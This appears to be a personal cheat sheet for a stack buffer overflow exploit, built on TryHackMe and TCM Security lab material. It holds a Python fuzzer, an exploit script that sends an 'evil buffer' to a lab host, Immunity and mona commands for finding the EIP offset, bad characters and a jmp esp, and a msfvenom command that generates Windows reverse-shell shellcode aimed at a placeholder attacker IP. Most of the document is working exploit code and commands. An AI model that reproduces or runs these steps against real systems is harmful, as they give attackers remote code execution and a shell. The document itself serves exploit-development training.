Memory Architecture


Memory

killchain-buffer_overflow-architecture-memory.png Source: TCM Security


Stack

killchain-buffer_overflow-architecture-stack.png Source: TCM Security

Basis


python -c "print('A' * 40 + '\xef\xbe\xad\xde')"
Print payload with overflow and value to inject.

cat myPayloadFile - | vulnerableBinary
Use - to hang after succefull buffer overflow.

THM Method



1 - Fuzzing

1_fuzzer.py

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.99.64"
port = 1337

timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

2 - Controlling EIP (Finding Offset)

Method 1: Manual

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
Create chars to find EIP (maki it 400 bytes longer than the string that crashed the server).

Take that string of chars and put it in "payload" variable in 2_exploit.py.

Re-run the program in Immunity.

2_exploit.py

import socket

ip = "10.10.99.64"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3 ..." # HERE !
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Look at EIP Value (Immunity > Registers (in CPU Window)) exploit-buffer_overflow-eip_manual.png

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337
Return the exact offset.

Take that offset and put it in "offset" variable in 2_exploit.py.

Set "payload" variable to "" (empty).

Set "retn" variable to "BBBB" (EIP overwrite).

Method 2: Mona

Immunity : !mona findmsp -distance 2400

→ EIP contains normal pattern : 0x6f43396e (offset 1978)

exploit-buffer_overflow-eip_mona.png


3 - Finding Bad characters

Method 1: Manual

!mona bytearray -b "\x00"
In Immunity

3_gen_badchars.py

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

Take output form 3_gen_badchars.py and put il in "payload" variable in 2_exploit.py.

2_exploit.py

Follow EIP in Immunity. exploit-buffer_overflow-bad_chars_manual_1.png

Check if all chars are here in right order. exploit-buffer_overflow-bad_chars_manual_2.png

Notes :

  • Bad chars will not necessarily be B0.
  • When there are consecutive bad chars, the only bad is the first one (but we can remove them by precaution).

Method 2: Mona

!mona config -set workingfolder c:\mona
Set where mona will save data.

!mona bytearray -cpb “\x00”
Generate Bytearray

!mona compare -f bytearray.bin -a ESP-ADDR
Find bad chars.

exploit-buffer_overflow-bad_chars_mona.png

Do it again adding bad chars :

!mona bytearray -cpb "\x00\x07\x08\x2e\x2f\xa0\xa1"
Generate Byte array.


4 - Find Jump Point

Method 1: Manual

Set "retn" variable to the jump point (backward because of little endian). Ex : 0x01020304 -> "\x04\x03\x02\x01

Method 2: Mona

!mona jmp -r esp -cpb "\x00\x07\x08\x2e\x2f\xa0\xa1"
Return all "jmp esp" (specify bad chars after -cpb).

exploit-buffer_overflow-jump_point_mona.png


5 - Generate Shellcode (MSFVNOM)

msfvenom -p windows/shell_reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] EXITFUNC=thread -f c -b "\x00\x07\x08\x2e\x2f\xa0\xa1"
Gen Reverse Shell in Shellcode (specify bad chars).

Flags

-b "\x00"
Specify bad characters (always put at least null byte).

-f c
File Type (here it's c file).

-a x86
Architecture.